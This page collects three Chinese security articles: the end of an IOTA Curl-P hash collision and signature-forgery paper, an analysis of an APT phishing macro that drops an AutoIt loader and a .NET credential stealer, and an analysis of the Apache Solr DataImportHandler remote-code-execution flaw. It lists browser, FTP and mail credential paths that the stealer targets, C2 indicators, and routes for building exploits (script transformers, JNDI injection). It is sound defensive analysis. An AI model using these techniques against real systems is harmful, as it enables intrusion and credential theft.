此外,他们声称 Curl-P-27 可以接受碰撞输入是他们有意为之,其目的是防止克隆欺诈。其原话是:“IOTA 团队故意引入 Curl-P 哈希函数,以此预防[克隆欺诈],这还使得克隆欺诈无法用于 DLT 协议,同时保证了整个 IOTA 协议和网络的安全。”他们认为 “协调员会保护IOTA网络,不受故意引入的影响,并且称之为“复制保护机制”[13]。这么看来,我们除了发现一个新型攻击,似乎还发现了一个故意放置的后门。
7 结论
本文介绍了如何通过伪造消息签名来攻击IOTA签名方案。我们在两条消息只有一位字符不同的情况下构造了全状态碰撞。并且运用这个方法创建了两个有效的IOTA bundle,这样,就算两个bundle互不相同也仍然会映射到相同的值,也就是同一个签名将适用于两个bundle。 作为示例,我们在bundle中设置了不同的符码,攻击者可以在几十秒内使用简单的设备生成符合要求的bundle。
8 致谢
在此我们对 Andy Sellars, Weijia Gu, Rachael Walker, Joi Ito, Vincenzo Iozzo, Sharon Goldberg, and Ward Heilman 致以感谢,感谢你们对此论文的指导与建议。
9 References
[1] Mihir Bellare and Phillip Rogaway. “The exact security of digital signaturesHow to sign with RSA and Rabin”. In: International Conference on the Theory and Applications of Cryptographic Techniques. Springer. 1996, pp. 399– 416.
[2] Guido Bertoni et al. “On the indifferentiability of the sponge construction”. In: Lecture Notes in Computer Science 4965 (2008), pp. 181–197.
[3] Eli Biham and Adi Shamir. “Differential cryptanalysis of DES-like cryptosystems”. In: Journal of CRYPTOLOGY 4.1 (1991), pp. 3–72.
[4] Bitfinex. IOTA Protocol Upgrade August 08, 2017. https://www.bitfinex.com/posts/215, archived at https://web.archive.org/web/20180722235151/https://www.bitfinex.com/posts/215.
[5] Tangle blog. Full Emails of Ethan Heilman and the Digital Currency Initiative with the IOTA Team Leaked. http://www.tangleblog.com/wpcontent/uploads/2018/02/letters.pdf, archived at https://web. archive.org/web/20180228182122/http://www.tangleblog.com/wpcontent/uploads/2018/02/letters.pdf, https://archive.is/6imWR.
[6] Bosch. Press release: Robert Bosch Venture Capital makes first investment in distributed ledger technology. https://www.bosch- presse.de/pressportal/de/en/robert-bosch-venture-capital-makesfirst-investment-in-distributed-ledger-technology-137411.html, archived at https://web.archive.org/web/20180724022550/ https://www.bosch-presse.de/pressportal/de/en/robert-boschventure-capital-makes-first-investment-in-distributed-ledgertechnology-137411.html.
[7] Crypt Briefing. First VW IOTA Product Will Be Released Early Next Year. https://cryptobriefing.com/vw-iota-product-released/, archived at https://web.archive.org/web/20180724021409/https: //cryptobriefing.com/vw-iota-product-released/.
[8] Coindesk. City of Taipei Confirms It’s Testing IOTA Tech for ID. https://www.coindesk.com/city-of-taipei-confirms-its-testing-iotablockchain-for-id/.
[9] CoinmarketCap. CoinmarketCap IOTA July 23 2018. https://coinmarketcap. com/currencies/iota/, archived at https://web.archive.org/web/ 20180724020019/https://coinmarketcap.com/currencies/iota/.
[10] Michael Colavita and Garrett Tanzer. “A Cryptanalysis of IOTA’s Curl Hash Function”. In: (2018).
[11] Don Coppersmith. “The Data Encryption Standard (DES) and its strength against attacks”. In: IBM journal of research and development 38.3 (1994), pp. 243–250.
[12] IOTA Foundation. IOTA Guide – Generating Secure Multisig Addresses (hot and coldwallet). https://domschiener.gitbooks.io/iota-guide/content/exchange-guidelines/generating-multisignature-addresses.html, archived at https://archive.is/087kP.
[13] IOTA Foundation. Official IOTA Foundation Response to the Digital Currency Initiative at the MIT Media LabPart 4 / 4. https://blog.iota.org/official-iota-foundation-response-to-the-digitalcurrency-initiative-at-the-mit-media-lab-part-4-11fdccc9eb6d, archived at http://web.archive.org/web/20180727155405/https://blog.iota.org/official-iota-foundation-response-to-thedigital-currency-initiative-at-the-mit-media-lab-part-411fdccc9eb6d?gi=4be3ca82ed48.
[14] IOTAledger (github). IOTA Kerl specification. https://github.com/iotaledger/kerl/blob/master/IOTA-Kerl-spec.md, archived at https://web.archive.org/web/20180617175320/
https://github.com/iotaledger/kerl/blob/master/IOTA-Kerl-spec.md. 2017.
[15] Oded Goldreich. Foundations of Cryptography: Basic Applications. Vol. 2. New York, NY, USA: Cambridge University Press, 2004.
[16] Guang Gong and Shaoquan Jiang. “The editing generator and its cryptanalysis”. In: International Journal of Wireless and Mobile Computing 1.1 (2005), pp. 46–52.
[17] Leon Groot Bruinderink and Andreas Hu¨lsing. ““Oops, I Did It Again” – Security of One-Time Signatures Under Two-Message Attacks”. In: Selected Areas in Cryptography – SAC 2017. 2018, pp. 299–322.
[18] Bertoni Guido et al. Cryptographic sponge functions. 2011.
[19] Paul Handy. Merged Kerl Implementation. https://github.com/iotaledger/iri/commit/539e413352a77b1db2042f46887e41d558f575e5, archived at https://archive.is/jCisX.
[20] Ethan Heilman et al. IOTA Vulnerability Report: Cryptanalysis of the Curl Hash Function Enabling Practical Signature Forgery Attacks on the IOTA Cryptocurrency.
[21] Jonathan Katz and Yehuda Lindell. Introduction to Modern Cryptography. Second Edition. CRC Press, 2014.
[22] Leslie Lamport. Constructing digital signatures from a one-way function. Tech. rep. Technical Report CSL-98, SRI International Palo Alto, 1979.
[23] Willem Pinckaers (Lekkertech). IOTA Signatures, Private Keys and Address Reuse? http://blog.lekkertech.net/blog/2018/03/07/iotasignatures/, archived at https://archive.is/CnydQ. 2018.
[24] Arjen K. Lenstra, Xiaoyun Wang, and Benne de Weger. Colliding X.509 Certificates. Cryptology ePrint Archive, Report 2005/067. https://eprint. iacr.org/2005/067. 2005.
[25] Ralph C Merkle. “A certified digital signature”. In: Conference on the Theory and Application of Cryptology. Springer. 1989, pp. 218–238.
[26] Serguei Popov. “The tangle”. In: cit. on (2016), p. 131.
[27] Ralf Rottmann. IOTA Reclaim Identification Verification Process. https://blog.iota.org/iota-reclaim-identification-verificationprocess-e316647e06e6, archived at https://web.archive.org/web/ 20180710000243/https://blog.iota.org/iota-reclaim-identificationverification-process-e316647e06e6?gi=b8190e111e7f.
[28] Dominik Schiener. IOTA Multi-Signature Scheme. https://github.com/ iotaledger/wiki/blob/master/multisigs.mdIOTA Multi-Signature Scheme. 2017 (accessed February 3, 2018).
[29] Yonatan Sompolinsky and Aviv Zohar. “Secure high-rate transaction processing in bitcoin”. In: International Conference on Financial Cryptography and Data Security. Springer. 2015, pp. 507–527.
[30] Marc Stevens, Arjen Lenstra, and Benne de Weger. “Chosen-Prefix Collisions for MD5 and Colliding X. 509 Certificates for Different Identities”. In: Advances in Cryptology – EUROCRYPT 2007. Springer. 2007, pp. 1–22.
[31] Marc Stevens et al. “Short Chosen-Prefix Collisions for MD5 and the Creation of a Rogue CA Certificate”. In: Advances in Cryptology – CRYPTO 2009. Springer, 2009, pp. 55–69.
[32] David Snsteb. Upgrades & Updates. https://blog.iota.org/upgradesupdates-d12145e381eb, archived at https://web.archive.org/web/ 20180722232608/
https://blog.iota.org/upgrades-updates-d12145e381eb?gi=51123f82db22.
[33] Eric Wall. IOTA is centralized. https://medium.com/@ercwl/iotais-centralized-6289246e7b4d, archived at https://web.archive.org/web/20180616231657/https://medium.com/@ercwl/iota-iscentralized-6289246e7b4d. 2017.
[34] Xiaoyun Wang and Hongbo Yu. “How to Break MD5 and Other Hash Functions”. In: Advances in Cryptology – EUROCRYPT 2005. Springer. 2005, pp. 19–35.
[35] Xiaoyun Wang et al. Collisions for Hash Functions MD4, MD5, HAVAL128 and RIPEMD. Cryptology ePrint Archive, Report 2004/199. https://eprint.iacr.org/2004/199.2004.
本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/1015/
-
对某单位的 APT 攻击样本分析
作者:SungLin@知道创宇404实验室
时间:2019年7月30日一.恶意邮件样本的信息与背景
在六月份的某单位HW行动中,知道创宇HW安全团队通过创宇云图APT威胁感知系统并结合腾讯御点终端安全管理系统成功处置了一起APT攻击事件。
7月份对同一样本的补充截图如下:
在本次APT攻击中,攻击者通过发送鱼叉式钓鱼邮件,配合社会工程学手段诱导用户运行宏代码,进而下载尾部带有恶意payload压缩包的可执行文件。通过层层释放最终运行可窃取受害人员各类机密信息、维持权限、接收远端控制的木马。
文档打开后,会诱导用户需要开启宏才能查看被模糊的图片,一旦用户点击开启宏,恶意样本将会在用户电脑上运行、潜伏、收集相应的信息、等待攻击者的进一步指令。
该APT样本整体运行流程图如下:
二.宏病毒文档的提取与调试
使用OfficeMalScanner解压Office文档并提取文档所带的vba宏代码,打开Office文档启用宏后,采用快捷键Alt+F11开启宏代码的动态调试。该宏代码作为实施攻击的入口,实现了恶意样本的下载和执行。本章也将分析下载和执行的整体流程。
解压该Office文档后,宏代码被封装在xl文件夹下的vbaProject.bin文件中。
使用OfficeMalScanner这个工具的命令info从vbaProject.bin中提取宏代码,提取完后可以知道有6个宏代码,其中fdrhfaz2osd是主要的宏代码:
动态调试分析宏代码,首先宏代码传入两个值u和f,分别是请求的url和写入的filepath。
通过调用WinHttp.WinHttpRequest模块的方法Get请求来获取Response并写入到文件gc43d4unx.exe中。
最后通过调用WScript.Shell来启动程序gc43d4unx.exe。
三.gc43d4unx.exe释放pkk.exe等文件并执行
程序gc43d4unx.exe在文件的末尾存放了一个RAR的压缩文件,gc43d4unx.exe程序通过解压缩后在用户Temp目录下的29317159文件夹释放了49个文件,并以pkk.exe xfj=eaa命令继续执行恶意样本。
压缩文件在gc43d4unx.exe中的分布情况。
gc43d4unx.exe主要逻辑在对话框的回调函数sub_419B4E中,识别Rar!的头部标识
解压缩到映射的内存文件中,然后再挨着写到各个文件中
在用户Temp目录下的29317159文件夹生成隐藏文件
最后通过SHELL32.ShellExecuteExW执行qwb.vbs代码,qwb.vbs则会使用WshShell.Run运行pkk.exe xfj=eaa。
四.PayLoad之pkk.exe运行分析
pkk.exe是个名为AutoIt v3的脚本软件,可以加载自定义脚本。主要是就是通过定义DllStruct,然后再通过DllCall来调用函数。qwb.vbs运行代码为WshShell.Run”pkk.exe xfj=eaa”,通过pkk.exe加载一个叫xfj=eaa的二进制文件。
软件先判断载入的是不是DLL,xfj=eaa是个编码后的脚本,判断后程序将会尝试解码。
解码成功后,将解码数据写入一个临时文件中,软件将会重新创建一个进程来重新加载脚本。
解码后的Autolt脚本,代码被混淆了。
根据混淆的脚本,只是函数名混淆,而且脚本只是一个纯文本代码,通过重写此脚本后,可以看到基本还原的Autolt脚本代码了。
Autolt软件解析完脚本后根据字符串功能通过分发函数来执行相应的函数。
五.PayLoad之Autolt脚本分析
Autolt脚本包含的功能有:检测运行环境、修改注册表、解密最终的.net木马并运行。
通过检测进程名、设备是否有D盘等操作实现反虚拟机检测
注册表禁用UAC策略函数
注册表禁用任务管理器函数
注册表开启自启函数,AuEx和ExE_c的值分别是xfj=eaa、pkk.exe。
解密.net木马:
读取K3ys这个键值和mmm.ini文件中[Data]段到[eData],将此数据进行字符替换正则匹配。
载入Advapi32.dll,将K3ys键值进行Hash计算获取到真正的key,后再调用CryptDecrypt函数解密,利用ollydbg动态调试dump出解密数据,解密后的数据就是一个PE结构的程序,用IDA分析程序后,为.NET程序,这个.NET程序就是最后核心木马了,Autolt脚本后续将此PE结构加载进去,创建线程去单独运行此程序。
六..NET木马分析
木马主要功能进行了敏感信息收集,敏感信息收集完后会判断目标主机是否符合收集目标,以判断6个人名为主,符合本机收集目标,将会通过smtp或者ftp服务器上传文件,并且也通过web服务和c&c进行信息交流等。
木马程序的基本信息:
用.net反编译工具dnSpy打开此程序,程序入口处就是在类afg.agu,此木马经我判定进行了控制流扁平化和字符串加密的混淆方式,采用工具de4dot无法进行反混淆。
字符串的解密:
如下图所示,经过字符串加密后静态分析已经无法分析到字符串,而且可以看出控制流进行了扁平化的处理,加密字符串的入口函数为
<Module>.\u206E()
。字符串的加密方式主要是通过传入加密的索引,通过固定值的替换与拆分计算后找到对应存储在uint型数组对象\u2009的加密Data、key、IV,\u2009数组对象大概有1047个字符串加密数组,字符串加密采用AES,模式为CBC。
编写python脚本进行了字符串解密,解密后的效果如下所示:
字符串解密核心算法如下:
入口处获取主机名进行判断是否包含以下6个主机名,攻击目标是否符合:
自我复制到C:\Users\l\AppData\Roaming\MyApp\MyApp.exe,设置为系统文件,并设置为无法删除的文件Zone.Identifier,在注册表设置为自启应用并且隐藏。
感谢前辈的指点,此处有错误,更正如下:定时请求 http://checkip.amazonaws.com/ 获取出口的IP。
httpweb服务器进行交互,进行信息的交流包括("update"、"info"、"uninstall"、"cookies"、"screenshots"、"keylog")。
DNS查询等:
进行ftp和smtp服务操作,并且绑定了一个邮箱地址 。
以下可能是此地址的密码:
收集信息如下:
系统信息 ManagementObjectSearcher managementObjectSearcher = new ManagementObjectSearcher("root\CIMV2", "SELECT * FROM Win32_VideoController") managementObjectSearcher2 = new ManagementObjectSearcher("SELECT * FROM Win32_Processor"); 浏览器 CatalinaGroup\Citrio\User Data liebao\User Data Fenrir Inc\Sleipnir5\setting\modules\ChromiumViewer Yandex\YandexBrowser\User Data 360Chrome\Chrome\User Data Chedot\User Data Elements Browser\User Data Epic Privacy Browser\User Data CocCoc\Browser\User Data MapleStudio\ChromePlus\User Data Chromium\User Data Torch\User Data Iridium\User Data Comodo\Dragon\User Data 7Star\7Star\User Data Amigo\User Data BraveSoftware\Brave-Browser\User Data CentBrowser\User Data Vivaldi\User Data QIP Surf\User Data Kometa\User Data Orbitum\User Data Sputnik\Sputnik\User Data uCozMedia\Uran\User Data Coowon\Coowon\User Data ftp列表 \CoreFTP\sites.idx \FTP Navigator\Ftplist.txt \SmartFTP\Client 2.0\Favorites\Quick Connect\ \SmartFTP\Client 2.0\Favorites\Quick Connect*.xml \Ipswitch\WS_FTP\Sites\ws_ftp.ini \cftp\Ftplist.txt \FTPGetter\servers.xml \FTP Navigator\Ftplist.txt Mail列表 \VirtualStore\Program Files\Foxmail\mail\ \Opera Mail\Opera Mail\wand.dat Software\IncrediMail\Identities\ 注册表 "HKEY_CURRENT_USER\Software\FTPWare\COREFTP\Sites\" + str + "Host" "HKEY_CURRENT_USERSoftwareFTPWareCOREFTPSites" + str + "Port" "HKEY_CURRENT_USERSoftwareFTPWareCOREFTPSites" + str + "User" "HKEY_CURRENT_USERSoftwareFTPWareCOREFTPSites" + str + "PW" "HKEY_CURRENT_USERSoftwareFTPWareCOREFTPSites" + str + "Name" http通信信息
七.安全建议
强烈推荐采用知道创宇云图、腾讯御点等产品,提高企业安全保护,降低外部威胁水平。
知道创宇云图威胁监测系统系列产品,实时分析网络全流量,结合威胁情报数据及网络行为分析技术,深度检测所有可疑活动。文件检测采用全面沙箱分析,通过在沙箱(Sandbox)中运行(行为激活/内容“引爆”)各种文件,分析文件行为,识别出未知威胁。网络检测与文件检测同步进行,采用情报共享机制,构筑检测生态圈,准确、快速地掌握攻击链条,以便进一步采取相关措施,将APT(高级持续性威胁)攻击阻止在萌芽状态。
腾讯御点是腾讯出品、领先国际的企业级安全服务提供者。依托腾讯19年的安全经验积累,为企业级用户提供私有云防病毒和漏洞修复解决方案。御点具备终端杀毒统一管控、修复漏洞统一管控,以及策略管控等全方位的安全管理功能,可帮助企业管理者全面了解、管理企业内网安全状况、保护企业安全。
八.IOC信息
domain & IP:
123456789101112animalrescueskyward.co.zamail.privateemail.comcheckip.amazonaws.com129.232.200.208:443198.54.122.6052.206.161.13334.197.157.6418.211.215.8452.202.139.13134.233.102.3852.6.79.229相关 hash:
7b478598b056d1f8e9f52f5ef1d147437b7f0da5
a73816ebcfc07d6da66de7c298a0912a3dd5d41a
b65884f1e833ea3eec8a8be4c7057a560da4511e
8827b2c1520fb41034d5171c5c4afd15158fd4a3
491b221f68013a2f7c354e4bb35c91fe45a1c0c0
本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/1011/
-
Apache Solr DataImportHandler远程代码执行漏洞(CVE-2019-0193) 分析
作者:Longofo@知道创宇404实验室
时间:2019年8月8日漏洞概述
2019年08月01日,Apache Solr官方发布预警,Apache Solr DataImport功能 在开启Debug模式时,可以接收来自请求的"dataConfig"参数,这个参数的功能与data-config.xml一样,不过是在开启Debug模式时方便通过此参数进行调试,并且Debug模式的开启是通过参数传入的。在dataConfig参数中可以包含script恶意脚本导致远程代码执行。
我对此漏洞进行了应急,由于在应急时构造的PoC很鸡肋,需要存在数据库驱动,需要连接数据库并且无回显,这种方式在实际利用中很难利用。后来逐渐有新的PoC被构造出来,经过了几个版本的PoC升级,到最后能直接通过直接传递数据流的方式,无需数据库驱动,无需连接数据库且能回显。下面记录下PoC升级的历程以及自己遇到的一些问题。感谢@Badcode与@fnmsd师傅提供的帮助。
测试环境
分析中涉及到的与Solr相关的环境如下:
- Solr-7.7.2
- JDK 1.8.0_181
相关概念
一开始没有去仔细去查阅Solr相关资料,只是粗略翻了下文档把漏洞复现了,那时候我也觉得数据应该能回显,于是就开始调试尝试构造回显,但是没有收获。后来看到新的PoC,感觉自己还没真正明白这个漏洞的原理就去盲目调试,于是又回过头去查阅Solr资料与文档,下面整理了与该漏洞有关的一些概念。
Solr工作机制
1.solr是在lucene工具包的基础之上进行了封装,并且以web服务的形式对外提供索引功能
2.业务系统需要使用到索引的功能(建索引,查索引)时,只要发出http请求,并将返回数据进行解析即可
(1) 索引数据的创建
根据配置文件提取一些可以用来搜索的数据(封装成各种Field),把各field再封装成document,然后对document进行分析(对各字段分词),得到一些索引目录写入索引库,document本身也会被写入一个文档信息库
(2) 索引数据的查询
根据关键词解析(queryParser)出查询条件query(Termquery),利用搜索工具(indexSearcher)去索引库获取文档id,然后再根据文档id去文档信息库获取文档信息
Solr DataImportHandler
Solr DataImportHandler可以批量把数据导入到索引库中,根据Solr文档中的描述,DataImportHandler有如下功能:
- 读取关系数据库中数据或文本数据
- 根据配置从xml(http/file方式)读取与建立索引数据
- 根据配置聚合来自多个列和表的数据来构建Solr文档
- 使用文档更新Solr(更新索引、文档数据库等)
- 根据配置进行完全导入的功能(full-import,完全导入每次运行时会创建整个索引)
- 检测插入/更新字段并执行增量导入(delta-import,对增加或者被修改的字段进行导入)
- 调度full-import与delta-import
- 可以插入任何类型的数据源(ftp,scp等)和其他用户可选格式(JSON,csv等)
通过搜索到的资料与官方文档中对DataImportHandler的描述,根据我的理解整理出DataImport处理的大致的流程图如下(只画了与该漏洞相关的主要部分):
几个名词解释:
- Core:索引库,其中包含schema.xml/managed-schema,schema.xml是模式文件的传统名称,可以由使用该模式的用户手动编辑,managed-schema是Solr默认使用的模式文件的名称,它支持在运行时动态更改,data-config文件可配置为xml形式或通过请求参数传递(在dataimport开启debug模式时可通过dataConfig参数传递)
通过命令行创建core
-d 参数是指定配置模板,在solr 7.7.2下,有_default与sample_techproducts_configs两种模板可以使用
通过web页面创建core
一开始以为从web页面无法创建core,虽然有一个Add Core,但是点击创建的core目录为空无法使用,提示无法找到配置文件,必须在solr目录下创建好对应的core,在web界面才能添加。然后尝试了使用绝对路径配置,绝对路径也能在web界面看到,但是solr默认不允许使用除了创建的core目录之外的配置文件,如果这个开关设为了true,就能使用对应core外部的配置文件:
后来在回头去查阅时在Solr Guide 7.5文档中发现通过configSet参数也能创建core,configSet可以指定为_default与sample_techproducts_configs,如下表示创建成功,不过通过这种方式创建的core的没有conf目录,它的配置是相当于链接到configSet模板的,而不是使用copy模板的方式:
通过以上两种方式都能创建core,但是要使用dataimport功能,还是需要编辑配置solrconfig.xml文件,如果能通过web请求方式更改配置文件以配置dataimport功能就能更好利用这个漏洞了。
schema.xml/managed-schema:这里面定义了与数据源相关联的字段(Field)以及Solr建立索引时该如何处理Field,它的内容可以自己打开新建的core下的schema.xml/managed-schema看下,内容太长就不贴了,解释下与该漏洞相关的几个元素:
123456789101112131415161718192021222324Field: 域的定义,相当于数据源的字段Name:域的名称Type:域的类型Indexed:是否索引Stored:是否存储multiValued:是否多值,如果是多值在一个域中可以保持多个值example:<field name="id" type="string" indexed="true" stored="true" required="true" multiValued="false" /><field name="name" type="string" indexed="true" stored="true" required="true" multiValued="false" />dynamicField:动态域,PoC最后一个阶段便是根据这个字段回显的动态字段定义允许使用约定优于配置,对于字段,通过模式规范来匹配字段名称示例:name ="*_i"将匹配dataConfig中以_i结尾的任何字段(如myid_i,z_i)限制:name属性中类似glob的模式必须仅在开头或结尾处具有"*"。这里的含义就是当dataConfig插入数据发现某一个域没有定义时,这时可以使用动态域当作字段名称 进行数据存储,这个会在后面PoC的进化中看到example:<dynamicField name="*_i" type="pint" indexed="true" stored="true"/><dynamicField name="*_is" type="pints" indexed="true" stored="true"/><dynamicField name="*_s" type="string" indexed="true" stored="true" /><dynamicField name="*_ss" type="strings" indexed="true" stored="true"/><dynamicField name="*_l" type="plong" indexed="true" stored="true"/><dynamicField name="*_ls" type="plongs" indexed="true" stored="true"/>dataConfig:这个配置项可以通过文件配置或通过请求方式传递(在dataimport开启Debug模式时可以通过dataConfig参数),他配置的时怎样获取数据(查询语句、url等等)要读什么样的数据(关系数据库中的列、或者xml的域)、做什么样的处理(修改/添加/删除)等,Solr为这些数据数据创建索引并将数据保存为Document
12345678910111213141516171819202122232425262728293031323334353637383940414243对于此漏洞需要了解dataConfig的以下几个元素:Transformer:实体提取的每组字段可以在索引过程直接使用,也可以使用来修改字段或创建一组全新的字段, 甚至可以返回多行数据。必须在entity级别上配置TransformerRegexTransformer:使用正则表达式从字段(来自源)提取或操作值ScriptTransformer:可以用Javascript或Java支持的任何其他脚本语言编写 Transformer,该漏洞使用的是这个DateFormatTransformer:用于将日期/时间字符串解析为java.util.Date实例NumberFormatTransformer:可用于解析String中的数字TemplateTransformer:可用于覆盖或修改任何现有的Solr字段或创建新的Solr字段HTMLStripTransformer:可用于从字符串字段中删除HTMLClobTransformer:可用于在数据库中创建Clob类型的StringLogTransformer:可用于将数据记录到控制台/日志EntityProcessor:实体处理器SqlEntityProcessor:不指定时,默认的处理器XPathEntityProcessor:索引XML类型数据时使用FileListEntityProcessor:一个简单的实体处理器,可用于根据某些条件枚举文件系统中的文件 列表CachedSqlEntityProcessor:SqlEntityProcessor的扩展PlainTextEntityProcessor:将数据源中的所有内容读入名 为"plainText"的单个隐式字段。内容不会以任何方式解析,但是 您可以根据需要添加transform来操作“plainText”中的数据LineEntityProcessor:为每行读取返回一个名为"rawLine"的字段。内容不会以任何方式解析, 但您可以添加transform来操作“rawLine”中的数据或创建其他附加字段SolrEntityProcessor:从不同的Solr实例和核心导入数据dataSource:数据源,他有以下几种类型,每种类型有自己不同的属性JdbcDataSource:数据库源URLDataSource:通常与XPathEntityProcessor配合使用,可以使用file://、http://、 ftp://等协议获取文本数据源HttpDataSource:与URLDataSource一样,只是名字不同FileDataSource:从磁盘文件获取数据源FieldReaderDataSource:如果字段包含xml信息时,可以使用这个配合XPathEntityProcessor 使用ContentStreamDataSource:使用post数据作为数据源,可与任何EntityProcessor配合使用Entity:实体,相当于将数据源的操作的数据封装成一个Java对象,字段就对应对象属性对于xml/http数据源的实体可以在默认属性之上具有以下属性:processor(必须):值必须是 "XPathEntityProcessor"url(必须):用于调用REST API的URL。(可以模板化)。如果数据源是文件,则它必须是文件位置stream (可选):如果xml非常大,则将此值设置为trueforEach(必须):划分记录的xpath表达式。如果有多种类型的记录用“|”(管道)分隔它们。如果 useSolrAddSchema设置为'true',则可以省略。xsl(可选):这将用作应用XSL转换的预处理器。提供文件系统或URL中的完整路径。useSolrAddSchema(可选):如果输入到此处理器的xml具有与solr add xml相同的模式,则将其 值设置为“true”。如果设置为true,则无需提及任何字段。flatten(可选):如果设置为true,则无论标签名称如何,所有标签下的文本都将提取到一个字段中实体的field可以具有以下属性:xpath(可选):要映射为记录中的列的字段的xpath表达式。如果列不是来自xml属性(是由变换器 创建的合成字段),则可以省略它。如果字段在模式中标记为多值,并且在xpath的 给定行中找到多个值,则由XPathEntityProcessor自动处理。无需额外配置commonField:可以是(true | false)。如果为true,则在创建Solr文档之前,记录中遇到的此 字段将被复制到其他记录PoC进化历程
PoC第一阶段--数据库驱动+外连+无回显
根据官方漏洞预警描述,是DataImportHandler在开启Debug模式时,能接收dataConfig这个参数,这个参数的功能与data-config.xml一样,不过是在开启Debug模式时方便通过此参数进行调试,并且Debug模式的开启是通过参数传入的。在dataConfig参数中可以包含script脚本,在文档搜到一个ScriptTransformer的例子:
可以看到在script中能执行java代码,于是构造下PoC(通过logs查看相关报错信息查看PoC构造出现的问题),这个数据库是可以外连的,所以数据库的相关信息可以自己控制,测试过是可以的(只是演示使用的127.0.0.1):
在ScriptTransformer那个例子中,能看到row.put的字样,猜测应该是能回显的,测试下:
这里只能查看id字段,name字段看不到,也没有报错,然后尝试了下把数据put到id里面:
能看到回显的信息。一开始不知道为什么put到name不行,后来看到在第三阶段的PoC,又回过头去查资料才意识到dataConfig与schema是配合使用的。因为在schema中没有配置name这个field,但是默认配置了id这个fileld,所以solr不会把name这个字段数据放到Document中去而id字段在其中。在第三阶段的PoC中,每个Field中的name属性都有"_s",然后去搜索发现可以在schema配置文件中可以配置dynamicField,如下是默认配置好的dynamicField:
在上面的相关概念中对这个字段有介绍,可以翻上去查看下,测试下,果然是可以的:
只要dynamicField能匹配dataConfig中field的name属性,solr就会自动加到document中去,如果schema配置了相应的field,那么配置的field优先,没有配置则根据dynamicField匹配。
PoC第二阶段--外连+无回显
在文档中说到JdbcDataSource可以使用JNDI,
测试下能不能进行JNDI注入:
这里有一个JNDI+LDAP的恶意demo。使用这种方式无需目标的CLASSPATH存在数据库驱动。
PoC第三阶段--无外连+有回显
这个阶段的PoC来自@fnmsd师傅,使用的是ContentStreamDataSource,但是文档中没有对它进行描述如何使用。在stackoverflower找到一个使用例子:
在相关概念中说到了ContentStreamDataSource能接收Post数据作为数据源,结合第一阶段说到的dynamicField就能实现回显了。
只演示下效果图,不给出具体的PoC:
后来回过头去看其他类型的DataSource时,使用URLDataSource/HttpDataSource也可以,文档中提供了一个例子:
构造测试也是可行的,可以使用http、ftp等协议
参考链接
- https://cwiki.apache.org/confluence/display/SOLR/DataImportHandler#DataImportHandler-URLDataSource
- https://lucene.apache.org/solr/guide/7_5/
- https://stackoverflow.com/questions/51838282/correct-using-contentstreamdatasource-in-dih
- https://www.cnblogs.com/peaceliu/p/7786851.html
本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/1009/